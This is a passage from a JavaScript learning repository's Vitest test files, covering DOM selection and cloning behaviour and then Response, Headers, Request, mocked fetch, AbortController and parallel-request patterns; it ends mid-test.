id=\"original\">Content</div>'\n        const original = document.getElementById('original')\n\n        // Clone keeps the same ID - causes collision!\n        const clone = original.cloneNode(true)\n        document.body.appendChild(clone)\n\n        // Now we have two elements with same ID\n        const allWithId = document.querySelectorAll('#original')\n        expect(allWithId.length).toBe(2)\n\n        // getElementById returns only first one\n        expect(document.getElementById('original')).toBe(original)\n      })\n\n      it('should fix ID collision by changing cloned element ID', () => {\n        document.body.innerHTML = '<div id=\"original\">Content</div>'\n        const original = document.getElementById('original')\n\n        const clone = original.cloneNode(true)\n\n        // Fix: change ID before appending\n        clone.id = 'clone-1'\n        document.body.appendChild(clone)\n\n        // No collision - both accessible\n        expect(document.getElementById('original')).toBe(original)\n        expect(document.getElementById('clone-1')).toBe(clone)\n        expect(document.getElementById('clone-1').textContent).toBe('Content')\n      })\n    })\n\n    describe('Complex Selectors', () => {\n      it('should select elements using :not() pseudo-selector', () => {\n        document.body.innerHTML = `\n          <button class=\"btn\">Normal</button>\n          <button class=\"btn disabled\">Disabled</button>\n          <button class=\"btn\">Another</button>\n        `\n\n        // Select buttons that are NOT disabled\n        const activeButtons = document.querySelectorAll('.btn:not(.disabled)')\n\n        expect(activeButtons.length).toBe(2)\n        expect(activeButtons[0].textContent).toBe('Normal')\n        expect(activeButtons[1].textContent).toBe('Another')\n      })\n\n      it('should select elements using :first-of-type pseudo-selector', () => {\n        document.body.innerHTML = `\n          <div class=\"container\">\n            <span>First span</span>\n            <p>First paragraph</p>\n            <span>Second span</span>\n            <p>Second paragraph</p>\n          </div>\n        `\n\n        const firstSpan = document.querySelector('.container span:first-of-type')\n        const firstP = document.querySelector('.container p:first-of-type')\n\n        expect(firstSpan.textContent).toBe('First span')\n        expect(firstP.textContent).toBe('First paragraph')\n      })\n    })\n\n    describe('Common Misconceptions', () => {\n      describe('Misconception 1: DOM vs HTML source', () => {\n        it('should show browser always has head and body in DOM', () => {\n          // Browser fixes missing structure\n          expect(document.head).toBeDefined()\n          expect(document.body).toBeDefined()\n          expect(document.documentElement).toBeDefined()\n        })\n\n        it('should show DOM reflects JavaScript changes', () => {\n          document.body.innerHTML = '<div id=\"test\">Original</div>'\n          const div = document.getElementById('test')\n          div.textContent = 'Modified'\n\n          // DOM reflects change\n          expect(div.textContent).toBe('Modified')\n          // Original HTML source would still say \"Original\"\n        })\n      })\n\n      describe('Misconception 2: querySelector performance', () => {\n        it('should show both methods return the same element', () => {\n          document.body.innerHTML = '<div id=\"myId\">Test</div>'\n\n          const byId = document.getElementById('myId')\n          const byQuery = document.querySelector('#myId')\n\n          expect(byId).toBe(byQuery)\n        })\n      })\n\n      describe('Misconception 3: display none vs remove', () => {\n        it('should show display:none keeps element in DOM', () => {\n          document.body.innerHTML = '<div id=\"hidden\">Content</div>'\n          const el = document.getElementById('hidden')\n          el.style.display = 'none'\n\n          // Still in DOM!\n          expect(document.getElementById('hidden')).toBe(el)\n          expect(el.parentNode).toBe(document.body)\n        })\n\n        it('should show visibility:hidden keeps element in DOM', () => {\n          document.body.innerHTML = '<div id=\"invisible\">Content</div>'\n          const el = document.getElementById('invisible')\n          el.style.visibility = 'hidden'\n\n          expect(document.getElementById('invisible')).toBe(el)\n        })\n\n        it('should show remove() actually removes from DOM', () => {\n          document.body.innerHTML = '<div id=\"toRemove\">Content</div>'\n          const el = document.getElementById('toRemove')\n          el.remove()\n\n          expect(document.getElementById('toRemove')).toBeNull()\n        })\n      })\n\n      describe('Misconception 4: Live collections gotcha', () => {\n        it('should show live collection changes when DOM changes', () => {\n          document.body.innerHTML = `\n            <div class=\"item\">1</div>\n            <div class=\"item\">2</div>\n            <div class=\"item\">3</div>\n          `\n\n          const liveCollection = document.getElementsByClassName('item')\n          expect(liveCollection.length).toBe(3)\n\n          // Remove first item - collection shrinks\n          liveCollection[0].remove()\n          expect(liveCollection.length).toBe(2)\n        })\n\n        it('should show static NodeList is safe for iteration', () => {\n          document.body.innerHTML = `\n            <div class=\"item\">1</div>\n            <div class=\"item\">2</div>\n            <div class=\"item\">3</div>\n          `\n\n          const staticList = document.querySelectorAll('.item')\n          expect(staticList.length).toBe(3)\n\n          // Remove all items safely\n          staticList.forEach(item => item.remove())\n\n          // Original NodeList still has references (but elements are removed from DOM)\n          expect(staticList.length).toBe(3)  // Static snapshot\n          expect(document.querySelectorAll('.item').length).toBe(0)  // DOM is empty\n        })\n      })\n    })\n\n    describe('Interview Questions', () => {\n      describe('Q1: querySelector vs getElementById', () => {\n        it('should demonstrate querySelector flexibility with complex selectors', () => {\n          document.body.innerHTML = `\n            <div class=\"card\">\n              <span data-id=\"123\">Content</span>\n            </div>\n          `\n\n          // querySelector can do what getElementById cannot\n          const byAttribute = document.querySelector('[data-id=\"123\"]')\n          const firstCard = document.querySelector('.card:first-child')\n\n          expect(byAttribute.textContent).toBe('Content')\n          expect(firstCard.className).toBe('card')\n        })\n\n        it('should show both return null for non-existent elements', () => {\n          document.body.innerHTML = ''\n\n          expect(document.getElementById('nonexistent')).toBeNull()\n          expect(document.querySelector('#nonexistent')).toBeNull()\n        })\n      })\n\n      describe('Q2: Event delegation', () => {\n        it('should demonstrate event delegation with closest()', () => {\n          document.body.innerHTML = `\n            <div class=\"container\">\n              <div class=\"item\" data-id=\"1\">Item 1</div>\n              <div class=\"item\" data-id=\"2\">Item 2</div>\n            </div>\n          `\n\n          let clickedId = null\n\n          // Simulated event delegation logic\n          const item = document.querySelector('[data-id=\"2\"]')\n          const closestItem = item.closest('.item')\n\n          if (closestItem) {\n            clickedId = closestItem.dataset.id\n          }\n\n          expect(clickedId).toBe('2')\n        })\n\n        it('should show delegation works for dynamically added elements', () => {\n          document.body.innerHTML = '<ul class=\"list\"></ul>'\n          const list = document.querySelector('.list')\n\n          // Add item after \"attaching\" listener (simulated)\n          const newItem = document.createElement('li')\n          newItem.className = 'item'\n          newItem.textContent = 'New Item'\n          list.appendChild(newItem)\n\n          // closest() finds it\n          expect(newItem.closest('.list')).toBe(list)\n        })\n      })\n    })\n  })\n})\n"
  },
  {
    "path": "tests/web-platform/http-fetch/http-fetch.test.js",
    "content": "import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'\n\n// =============================================================================\n// HTTP & FETCH - TEST SUITE\n// Tests for code examples from docs/concepts/http-fetch.mdx\n// Uses Node 20+ native fetch with Vitest mocking\n// =============================================================================\n\ndescribe('HTTP & Fetch', () => {\n  // Store original fetch\n  const originalFetch = global.fetch\n\n  beforeEach(() => {\n    // Reset fetch mock before each test\n    vi.restoreAllMocks()\n  })\n\n  afterEach(() => {\n    // Restore original fetch after each test\n    global.fetch = originalFetch\n  })\n\n  // ===========================================================================\n  // RESPONSE OBJECT BASICS\n  // ===========================================================================\n  describe('Response Object', () => {\n    it('should have status property', () => {\n      const response = new Response('OK', { status: 200 })\n      expect(response.status).toBe(200)\n    })\n\n    it('should have statusText property', () => {\n      const response = new Response('OK', { status: 200, statusText: 'OK' })\n      expect(response.statusText).toBe('OK')\n    })\n\n    it('should have ok property true for 2xx status', () => {\n      const response200 = new Response('OK', { status: 200 })\n      const response201 = new Response('Created', { status: 201 })\n      const response204 = new Response(null, { status: 204 })\n\n      expect(response200.ok).toBe(true)\n      expect(response201.ok).toBe(true)\n      expect(response204.ok).toBe(true)\n    })\n\n    it('should have ok property false for non-2xx status', () => {\n      const response400 = new Response('Bad Request', { status: 400 })\n      const response404 = new Response('Not Found', { status: 404 })\n      const response500 = new Response('Server Error', { status: 500 })\n\n      expect(response400.ok).toBe(false)\n      expect(response404.ok).toBe(false)\n      expect(response500.ok).toBe(false)\n    })\n\n    it('should have headers object', () => {\n      const response = new Response('OK', {\n        headers: {\n          'Content-Type': 'application/json',\n          'X-Custom-Header': 'custom-value'\n        }\n      })\n\n      expect(response.headers.get('Content-Type')).toBe('application/json')\n      expect(response.headers.get('X-Custom-Header')).toBe('custom-value')\n    })\n\n    it('should parse JSON body', async () => {\n      const data = { name: 'Alice', age: 30 }\n      const response = new Response(JSON.stringify(data), {\n        headers: { 'Content-Type': 'application/json' }\n      })\n\n      const parsed = await response.json()\n      expect(parsed).toEqual(data)\n    })\n\n    it('should parse text body', async () => {\n      const response = new Response('Hello, World!')\n      const text = await response.text()\n      expect(text).toBe('Hello, World!')\n    })\n\n    it('should only allow body to be read once', async () => {\n      const response = new Response('Hello')\n\n      await response.text() // First read\n\n      // Second read should throw\n      await expect(response.text()).rejects.toThrow()\n    })\n\n    it('should clone response for multiple reads', async () => {\n      const response = new Response('Hello')\n      const clone = response.clone()\n\n      const text1 = await response.text()\n      const text2 = await clone.text()\n\n      expect(text1).toBe('Hello')\n      expect(text2).toBe('Hello')\n    })\n  })\n\n  // ===========================================================================\n  // RESPONSE BODY METHODS (blob, arrayBuffer)\n  // ===========================================================================\n  describe('Response Body Methods', () => {\n    it('should parse body as Blob', async () => {\n      const textContent = 'Hello, World!'\n      const response = new Response(textContent)\n      const blob = await response.blob()\n\n      expect(blob).toBeInstanceOf(Blob)\n      expect(blob.size).toBe(textContent.length)\n    })\n\n    it('should parse body as ArrayBuffer', async () => {\n      const textContent = 'Hello'\n      const response = new Response(textContent)\n      const buffer = await response.arrayBuffer()\n\n      expect(buffer).toBeInstanceOf(ArrayBuffer)\n      expect(buffer.byteLength).toBe(textContent.length)\n    })\n\n    it('should parse binary data as Blob', async () => {\n      const binaryData = new Uint8Array([0x48, 0x65, 0x6c, 0x6c, 0x6f]) // \"Hello\"\n      const response = new Response(binaryData)\n      const blob = await response.blob()\n\n      expect(blob.size).toBe(5)\n    })\n\n    it('should parse binary data as ArrayBuffer', async () => {\n      const binaryData = new Uint8Array([1, 2, 3, 4, 5])\n      const response = new Response(binaryData)\n      const buffer = await response.arrayBuffer()\n\n      const view = new Uint8Array(buffer)\n      expect(view[0]).toBe(1)\n      expect(view[4]).toBe(5)\n    })\n  })\n\n  // ===========================================================================\n  // RESPONSE METADATA PROPERTIES\n  // ===========================================================================\n  describe('Response Metadata', () => {\n    it('should have url property', () => {\n      // Note: In real fetch, url reflects the final URL after redirects\n      // For Response constructor, we can't set URL directly\n      const response = new Response('OK', { status: 200 })\n      expect(response.url).toBe('')  // Empty for constructed responses\n    })\n\n    it('should have type property', () => {\n      const response = new Response('OK', { status: 200 })\n      // Constructed responses have type \"default\"\n      expect(response.type).toBe('default')\n    })\n\n    it('should have redirected property', () => {\n      const response = new Response('OK', { status: 200 })\n      // Constructed responses are not redirected\n      expect(response.redirected).toBe(false)\n    })\n\n    it('should have bodyUsed property', async () => {\n      const response = new Response('Hello')\n      \n      expect(response.bodyUsed).toBe(false)\n      await response.text()\n      expect(response.bodyUsed).toBe(true)\n    })\n  })\n\n  // ===========================================================================\n  // STATUS CODE RANGES\n  // ===========================================================================\n  describe('HTTP Status Codes', () => {\n    describe('2xx Success', () => {\n      it('200 OK should be successful', () => {\n        const response = new Response('OK', { status: 200 })\n        expect(response.ok).toBe(true)\n        expect(response.status).toBe(200)\n      })\n\n      it('201 Created should be successful', () => {\n        const response = new Response('Created', { status: 201 })\n        expect(response.ok).toBe(true)\n        expect(response.status).toBe(201)\n      })\n\n      it('204 No Content should be successful', () => {\n        const response = new Response(null, { status: 204 })\n        expect(response.ok).toBe(true)\n        expect(response.status).toBe(204)\n      })\n\n      it('299 should still be ok', () => {\n        const response = new Response('OK', { status: 299 })\n        expect(response.ok).toBe(true)\n      })\n    })\n\n    describe('3xx Redirection', () => {\n      it('301 Moved Permanently should not be ok', () => {\n        const response = new Response('Moved', { status: 301 })\n        expect(response.ok).toBe(false)\n      })\n\n      it('302 Found should not be ok', () => {\n        const response = new Response('Found', { status: 302 })\n        expect(response.ok).toBe(false)\n      })\n\n      it('304 Not Modified should not be ok', () => {\n        // 304 is a \"null body status\" so we use null body\n        const response = new Response(null, { status: 304 })\n        expect(response.ok).toBe(false)\n      })\n    })\n\n    describe('4xx Client Errors', () => {\n      it('400 Bad Request should not be ok', () => {\n        const response = new Response('Bad Request', { status: 400 })\n        expect(response.ok).toBe(false)\n        expect(response.status).toBe(400)\n      })\n\n      it('401 Unauthorized should not be ok', () => {\n        const response = new Response('Unauthorized', { status: 401 })\n        expect(response.ok).toBe(false)\n        expect(response.status).toBe(401)\n      })\n\n      it('403 Forbidden should not be ok', () => {\n        const response = new Response('Forbidden', { status: 403 })\n        expect(response.ok).toBe(false)\n        expect(response.status).toBe(403)\n      })\n\n      it('404 Not Found should not be ok', () => {\n        const response = new Response('Not Found', { status: 404 })\n        expect(response.ok).toBe(false)\n        expect(response.status).toBe(404)\n      })\n\n      it('422 Unprocessable Entity should not be ok', () => {\n        const response = new Response('Unprocessable Entity', { status: 422 })\n        expect(response.ok).toBe(false)\n        expect(response.status).toBe(422)\n      })\n    })\n\n    describe('5xx Server Errors', () => {\n      it('500 Internal Server Error should not be ok', () => {\n        const response = new Response('Internal Server Error', { status: 500 })\n        expect(response.ok).toBe(false)\n        expect(response.status).toBe(500)\n      })\n\n      it('502 Bad Gateway should not be ok', () => {\n        const response = new Response('Bad Gateway', { status: 502 })\n        expect(response.ok).toBe(false)\n        expect(response.status).toBe(502)\n      })\n\n      it('503 Service Unavailable should not be ok', () => {\n        const response = new Response('Service Unavailable', { status: 503 })\n        expect(response.ok).toBe(false)\n        expect(response.status).toBe(503)\n      })\n    })\n  })\n\n  // ===========================================================================\n  // HEADERS API\n  // ===========================================================================\n  describe('Headers API', () => {\n    it('should create headers from object', () => {\n      const headers = new Headers({\n        'Content-Type': 'application/json',\n        'Accept': 'application/json'\n      })\n\n      expect(headers.get('Content-Type')).toBe('application/json')\n      expect(headers.get('Accept')).toBe('application/json')\n    })\n\n    it('should append headers', () => {\n      const headers = new Headers()\n      headers.append('Accept', 'application/json')\n      headers.append('Accept', 'text/plain')\n\n      expect(headers.get('Accept')).toBe('application/json, text/plain')\n    })\n\n    it('should set headers (overwrite)', () => {\n      const headers = new Headers()\n      headers.set('Accept', 'application/json')\n      headers.set('Accept', 'text/plain')\n\n      expect(headers.get('Accept')).toBe('text/plain')\n    })\n\n    it('should check if header exists', () => {\n      const headers = new Headers({\n        'Content-Type': 'application/json'\n      })\n\n      expect(headers.has('Content-Type')).toBe(true)\n      expect(headers.has('Authorization')).toBe(false)\n    })\n\n    it('should delete headers', () => {\n      const headers = new Headers({\n        'Content-Type': 'application/json',\n        'Accept': 'application/json'\n      })\n\n      headers.delete('Accept')\n\n      expect(headers.has('Accept')).toBe(false)\n      expect(headers.has('Content-Type')).toBe(true)\n    })\n\n    it('should iterate over headers', () => {\n      const headers = new Headers({\n        'Content-Type': 'application/json',\n        'Accept': 'application/json'\n      })\n\n      const entries = []\n      for (const [key, value] of headers) {\n        entries.push([key, value])\n      }\n\n      expect(entries).toContainEqual(['content-type', 'application/json'])\n      expect(entries).toContainEqual(['accept', 'application/json'])\n    })\n\n    it('should be case-insensitive for header names', () => {\n      const headers = new Headers({\n        'Content-Type': 'application/json'\n      })\n\n      expect(headers.get('content-type')).toBe('application/json')\n      expect(headers.get('CONTENT-TYPE')).toBe('application/json')\n      expect(headers.get('Content-Type')).toBe('application/json')\n    })\n  })\n\n  // ===========================================================================\n  // REQUEST OBJECT\n  // ===========================================================================\n  describe('Request Object', () => {\n    it('should create a basic request', () => {\n      const request = new Request('https://api.example.com/users')\n\n      expect(request.url).toBe('https://api.example.com/users')\n      expect(request.method).toBe('GET')\n    })\n\n    it('should create request with method', () => {\n      const request = new Request('https://api.example.com/users', {\n        method: 'POST'\n      })\n\n      expect(request.method).toBe('POST')\n    })\n\n    it('should create request with headers', () => {\n      const request = new Request('https://api.example.com/users', {\n        headers: {\n          'Content-Type': 'application/json',\n          'Authorization': 'Bearer token123'\n        }\n      })\n\n      expect(request.headers.get('Content-Type')).toBe('application/json')\n      expect(request.headers.get('Authorization')).toBe('Bearer token123')\n    })\n\n    it('should create request with body', async () => {\n      const body = JSON.stringify({ name: 'Alice' })\n      const request = new Request('https://api.example.com/users', {\n        method: 'POST',\n        body: body\n      })\n\n      const requestBody = await request.text()\n      expect(requestBody).toBe(body)\n    })\n\n    it('should clone request', () => {\n      const request = new Request('https://api.example.com/users', {\n        method: 'POST',\n        headers: { 'Content-Type': 'application/json' }\n      })\n\n      const clone = request.clone()\n\n      expect(clone.url).toBe(request.url)\n      expect(clone.method).toBe(request.method)\n      expect(clone.headers.get('Content-Type')).toBe('application/json')\n    })\n  })\n\n  // ===========================================================================\n  // FETCH WITH MOCKING\n  // ===========================================================================\n  describe('Fetch API (Mocked)', () => {\n    it('should make a GET request', async () => {\n      const mockData = { id: 1, name: 'Alice' }\n      global.fetch = vi.fn().mockResolvedValue(\n        new Response(JSON.stringify(mockData), {\n          status: 200,\n          headers: { 'Content-Type': 'application/json' }\n        })\n      )\n\n      const response = await fetch('https://api.example.com/users/1')\n      const data = await response.json()\n\n      expect(fetch).toHaveBeenCalledWith('https://api.example.com/users/1')\n      expect(data).toEqual(mockData)\n    })\n\n    it('should make a POST request with body', async () => {\n      const mockResponse = { id: 1, name: 'Alice' }\n      global.fetch = vi.fn().mockResolvedValue(\n        new Response(JSON.stringify(mockResponse), {\n          status: 201,\n          headers: { 'Content-Type': 'application/json' }\n        })\n      )\n\n      const userData = { name: 'Alice', email: 'alice@example.com' }\n      const response = await fetch('https://api.example.com/users', {\n        method: 'POST',\n        headers: { 'Content-Type': 'application/json' },\n        body: JSON.stringify(userData)\n      })\n\n      expect(fetch).toHaveBeenCalledWith('https://api.example.com/users', {\n        method: 'POST',\n        headers: { 'Content-Type': 'application/json' },\n        body: JSON.stringify(userData)\n      })\n      expect(response.status).toBe(201)\n    })\n\n    it('should handle 404 response (not rejection)', async () => {\n      global.fetch = vi.fn().mockResolvedValue(\n        new Response('Not Found', { status: 404 })\n      )\n\n      // Fetch resolves even for 404!\n      const response = await fetch('https://api.example.com/users/999')\n\n      expect(response.ok).toBe(false)\n      expect(response.status).toBe(404)\n    })\n\n    it('should handle 500 response (not rejection)', async () => {\n      global.fetch = vi.fn().mockResolvedValue(\n        new Response('Internal Server Error', { status: 500 })\n      )\n\n      // Fetch resolves even for 500!\n      const response = await fetch('https://api.example.com/broken')\n\n      expect(response.ok).toBe(false)\n      expect(response.status).toBe(500)\n    })\n\n    it('should reject on network error', async () => {\n      global.fetch = vi.fn().mockRejectedValue(\n        new TypeError('Failed to fetch')\n      )\n\n      await expect(fetch('https://api.example.com/unreachable'))\n        .rejects.toThrow('Failed to fetch')\n    })\n  })\n\n  // ===========================================================================\n  // ERROR HANDLING PATTERNS\n  // ===========================================================================\n  describe('Error Handling Patterns', () => {\n    it('should properly check response.ok', async () => {\n      global.fetch = vi.fn().mockResolvedValue(\n        new Response('Not Found', { status: 404 })\n      )\n\n      const response = await fetch('/api/users/999')\n\n      // The correct pattern\n      if (!response.ok) {\n        const error = new Error(`HTTP ${response.status}`)\n        expect(error.message).toBe('HTTP 404')\n      }\n    })\n\n    it('should demonstrate fetchJSON wrapper pattern', async () => {\n      // Reusable fetch wrapper\n      async function fetchJSON(url, options = {}) {\n        const response = await fetch(url, options)\n\n        if (!response.ok) {\n          const error = new Error(`HTTP ${response.status}`)\n          error.status = response.status\n          throw error\n        }\n\n        if (response.status === 204) {\n          return null\n        }\n\n        return response.json()\n      }\n\n      // Test successful response\n      global.fetch = vi.fn().mockResolvedValue(\n        new Response(JSON.stringify({ id: 1 }), { status: 200 })\n      )\n\n      const data = await fetchJSON('/api/users/1')\n      expect(data).toEqual({ id: 1 })\n\n      // Test 404 error\n      global.fetch = vi.fn().mockResolvedValue(\n        new Response('Not Found', { status: 404 })\n      )\n\n      try {\n        await fetchJSON('/api/users/999')\n        expect.fail('Should have thrown')\n      } catch (error) {\n        expect(error.message).toBe('HTTP 404')\n        expect(error.status).toBe(404)\n      }\n\n      // Test 204 No Content\n      global.fetch = vi.fn().mockResolvedValue(\n        new Response(null, { status: 204 })\n      )\n\n      const noContent = await fetchJSON('/api/users/1', { method: 'DELETE' })\n      expect(noContent).toBeNull()\n    })\n\n    it('should differentiate network vs HTTP errors', async () => {\n      let errorType = null\n\n      async function safeFetch(url) {\n        try {\n          const response = await fetch(url)\n\n          if (!response.ok) {\n            errorType = 'http'\n            throw new Error(`HTTP ${response.status}`)\n          }\n\n          return await response.json()\n        } catch (error) {\n          if (error.message.startsWith('HTTP')) {\n            // Already handled HTTP error\n            throw error\n          }\n          // Network error\n          errorType = 'network'\n          throw new Error('Network error: ' + error.message)\n        }\n      }\n\n      // Test HTTP error (404)\n      global.fetch = vi.fn().mockResolvedValue(\n        new Response('Not Found', { status: 404 })\n      )\n\n      try {\n        await safeFetch('/api/missing')\n      } catch (e) {\n        expect(errorType).toBe('http')\n      }\n\n      // Test network error\n      global.fetch = vi.fn().mockRejectedValue(\n        new TypeError('Failed to fetch')\n      )\n\n      try {\n        await safeFetch('/api/unreachable')\n      } catch (e) {\n        expect(errorType).toBe('network')\n      }\n    })\n  })\n\n  // ===========================================================================\n  // ABORT CONTROLLER\n  // ===========================================================================\n  describe('AbortController', () => {\n    it('should create an AbortController', () => {\n      const controller = new AbortController()\n\n      expect(controller).toBeDefined()\n      expect(controller.signal).toBeDefined()\n      expect(controller.signal.aborted).toBe(false)\n    })\n\n    it('should abort and update signal', () => {\n      const controller = new AbortController()\n\n      expect(controller.signal.aborted).toBe(false)\n      controller.abort()\n      expect(controller.signal.aborted).toBe(true)\n    })\n\n    it('should abort with reason', () => {\n      const controller = new AbortController()\n      controller.abort('User cancelled')\n\n      expect(controller.signal.aborted).toBe(true)\n      expect(controller.signal.reason).toBe('User cancelled')\n    })\n\n    it('should reject fetch when aborted', async () => {\n      const controller = new AbortController()\n\n      // Mock fetch to respect abort signal\n      global.fetch = vi.fn().mockImplementation((url, options) => {\n        return new Promise((resolve, reject) => {\n          if (options?.signal?.aborted) {\n            const error = new DOMException('The operation was aborted.', 'AbortError')\n            reject(error)\n            return\n          }\n\n          options?.signal?.addEventListener('abort', () => {\n            const error = new DOMException('The operation was aborted.', 'AbortError')\n            reject(error)\n          })\n\n          // Simulate slow request\n          setTimeout(() => {\n            resolve(new Response('OK'))\n          }, 1000)\n        })\n      })\n\n      const fetchPromise = fetch('/api/slow', { signal: controller.signal })\n\n      // Abort immediately\n      controller.abort()\n\n      await expect(fetchPromise).rejects.toThrow()\n\n      try {\n        await fetchPromise\n      } catch (error) {\n        expect(error.name).toBe('AbortError')\n      }\n    })\n\n    it('should handle abort in try/catch', async () => {\n      const controller = new AbortController()\n      controller.abort()\n\n      global.fetch = vi.fn().mockRejectedValue(\n        new DOMException('The operation was aborted.', 'AbortError')\n      )\n\n      try {\n        await fetch('/api/data', { signal: controller.signal })\n        expect.fail('Should have thrown')\n      } catch (error) {\n        if (error.name === 'AbortError') {\n          // Expected - request was cancelled\n          expect(true).toBe(true)\n        } else {\n          throw error\n        }\n      }\n    })\n\n    it('should implement timeout pattern', async () => {\n      async function fetchWithTimeout(url, timeout = 5000) {\n        const controller = new AbortController()\n        const timeoutId = setTimeout(() => controller.abort(), timeout)\n\n        try {\n          const response = await fetch(url, { signal: controller.signal })\n          clearTimeout(timeoutId)\n          return response\n        } catch (error) {\n          clearTimeout(timeoutId)\n          if (error.name === 'AbortError') {\n            throw new Error(`Request timed out after ${timeout}ms`)\n          }\n          throw error\n        }\n      }\n\n      // Mock slow request that will be aborted\n      global.fetch = vi.fn().mockImplementation((url, options) => {\n        return new Promise((resolve, reject) => {\n          const timeout = setTimeout(() => {\n            resolve(new Response('OK'))\n          }, 10000) // Very slow\n\n          options?.signal?.addEventListener('abort', () => {\n            clearTimeout(timeout)\n            reject(new DOMException('The operation was aborted.', 'AbortError'))\n          })\n        })\n      })\n\n      // Should timeout after 100ms\n      await expect(fetchWithTimeout('/api/slow', 100))\n        .rejects.toThrow('Request timed out after 100ms')\n    })\n  })\n\n  // ===========================================================================\n  // PARALLEL REQUESTS\n  // ===========================================================================\n  describe('Parallel Requests with Promise.all', () => {\n    it('should fetch multiple resources in parallel', async () => {\n      global.fetch = vi.fn()\n        .mockResolvedValueOnce(new Response(JSON.stringify({ id: 1, name: 'User' })))\n        .mockResolvedValueOnce(new Response(JSON.stringify([{ id: 1, title: 'Post' }])))\n        .mockResolvedValueOnce(new Response(JSON.stringify([{ id: 1, body: 'Comment' }])))\n\n      const [user, posts, comments] = await Promise.all([\n        fetch('/api/user').then(r => r.json()),\n        fetch('/api/posts').then(r => r.json()),\n        fetch('/api/comments').then(r => r.json())\n      ])\n\n      expect(user).toEqual({ id: 1, name: 'User' })\n      expect(posts).toEqual([{ id: 1, title: 'Post' }])\n      expect(comments).toEqual([{ id: 1, body: 'Comment' }])\n      expect(fetch).toHaveBeenCalledTimes(3)\n    })\n\n    it('should fail fast if any request fails', async () => {\n      global.fetch = vi.fn()\n        .mockResolvedValueOnce(new Response(JSON.stringify({ id: 1 })))\n        .mockRejectedValueOnce(new Error('Network error'))\n        .mockResolvedValueOnce(new Response(JSON.stringify({ id: 3 })))\n\n      await expect(Promise.all([\n        fetch('/api/1').then(r => r.json()),\n        fetch('/api/2').then(r => r.json()),\n        fetch('/api/3').then(r => r.json())\n      ])).rejects.toThrow('Network error')\n    })\n\n    it('should use Promise.allSettled for graceful handling', async () => {\n      global.fetch = vi.fn()\n        .mockResolvedValueOnce(new Response(JSON.stringify({ id: 1 })))\n        .mockRejectedValueOnce(new Error('Failed'))\n        .mockResolvedValueOnce(new Response(JSON.stringify({ id: 3 })))\n\n      const results = await Promise.allSettled([\n        fetch('/api/1').then(r => r.json()),\n        fetch('/api/2').then(r => r.json()),\n        fetch('/api/3').then(r => r.json())\n      ])\n\n      expect(results[0].status).toBe('fulfilled')\n      expect(results[0].value).toEqual({ id: 1 })\n\n      expect(results[1].status).toBe('rejected')\n      expect(results[1].reason.message).toBe('Failed')\n\n      expect(results[2].status).toBe('fulfilled')\n      expect(results[2].value).toEqual({ id: 3 })\n    })\n  })\n\n  // ===========================================================================\n  // LOADING STATE PATTERN\n  // ===========================================================================\n  describe('Loading State Pattern', () => {\n    it('should track loading, data, and error states', async () => {\n      async function fetchWithState(url) {\n        const state = {\n          data: null,\n          loading: true,\n          error: null\n        }\n\n        try {\n          const response = await fetch(url)\n\n          if (!response.ok) {\n            throw new Error(`HTTP ${response.status}`)\n          }\n\n          state.data = await response.json()\n        } catch (error) {\n          state.error = error.message\n        } finally {\n          state.loading = false\n        }\n\n        return state\n      }\n\n      // Test successful fetch\n      global.fetch = vi.fn().mockResolvedValue(\n        new Response(JSON.stringify({ name: 'Alice' }), { status: 200 })\n      )\n\n      const successState = await fetchWithState('/api/user')\n      expect(successState.loading).toBe(false)\n      expect(successState.data).toEqual({ name: 'Alice' })\n      expect(successState.error).toBeNull()\n\n      // Test error fetch\n      global.fetch = vi.fn().mockResolvedValue(\n        new Response('Not Found', { status: 404 })\n      )\n\n      const errorState = await fetchWithState('/api/missing')\n      expect(errorState.loading).toBe(false)\n      expect(errorState.data).toBeNull()\n      expect(errorState.error).toBe('HTTP 404')\n\n      // Test network error\n      global.fetch = vi.fn().mockRejectedValue(new Error('Network error'))\n\n      const networkErrorState = await fetchWithState('/api/unreachable')\n      expect(networkErrorState.loading).toBe(false)\n      expect(networkErrorState.data).toBeNull()\n      expect(networkErrorState.error).toBe('Network error')\n    })\n  })\n\n  // ===========================================================================\n  // JSON PARSING\n  // ===========================================================================\n  describe('JSON Parsing', () => {\n    it('should parse valid JSON', async () => {\n      const response = new Response('{\"name\": \"Alice\", \"age\": 30}')\n      const data = await response.json()\n\n      expect(data).toEqual({ name: 'Alice', age: 30 })\n    })\n\n    it('should parse JSON arrays', async () => {\n      const response = new Response('[1, 2, 3, 4, 5]')\n      const data = await response.json()\n\n      expect(data).toEqual([1, 2, 3, 4, 5])\n    })\n\n    it('should parse nested JSON', async () => {\n      const nested = {\n        user: {\n          name: 'Alice',\n          address: {\n            city: 'Wonderland'\n          }\n        },\n        posts: [\n          { id: 1, title: 'First' },\n          { id: 2, title: 'Second' }\n        ]\n      }\n\n      const response = new Response(JSON.stringify(nested))\n      const data = await response.json()\n\n      expect(data.user.address.city).toBe('Wonderland')\n      expect(data.posts[1].title).toBe('Second')\n    })\n\n    it('should throw on invalid JSON', async () => {\n      const response = new Response('not valid json {')\n\n      await expect(response.json()).rejects.toThrow()\n    })\n\n    it('should throw on empty body when expecting JSON', async () => {\n      const response = new Response('')\n\n      await expect(response.json()).rejects.toThrow()\n    })\n  })\n\n  // ===========================================================================\n  // HTTP METHODS\n  // ===========================================================================\n  describe('HTTP Methods', () => {\n    beforeEach(() => {\n      global.fetch = vi.fn().mockResolvedValue(\n        new Response(JSON.stringify({ success: true }), { status: 200 })\n      )\n    })\n\n    it('should default to GET method', async () => {\n      await fetch('/api/users')\n\n      expect(fetch).toHaveBeenCalledWith('/api/users')\n    })\n\n    it('should make POST request', async () => {\n      await fetch('/api/users', {\n        method: 'POST',\n        body: JSON.stringify({ name: 'Alice' })\n      })\n\n      expect(fetch).toHaveBeenCalledWith('/api/users', expect.objectContaining({\n        method: 'POST'\n      }))\n    })\n\n    it('should make PUT request', async () => {\n      await fetch('/api/users/1', {\n        method: 'PUT',\n        body: JSON.stringify({ name: 'Alice Updated' })\n      })\n\n      expect(fetch).toHaveBeenCalledWith('/api/users/1', expect.objectContaining({\n        method: 'PUT'\n      }))\n    })\n\n    it('should make PATCH request', async () => {\n      await fetch('/api/users/1', {\n        method: 'PATCH',\n        body: JSON.stringify({ name: 'New Name' })\n      })\n\n      expect(fetch).toHaveBeenCalledWith('/api/users/1', expect.objectContaining({\n        method: 'PATCH'\n      }))\n    })\n\n    it('should make DELETE request', async () => {\n      await fetch('/api/users/1', {\n        method: 'DELETE'\n      })\n\n      expect(fetch).toHaveBeenCalledWith('/api/users/1', expect.objectContaining({\n        method: 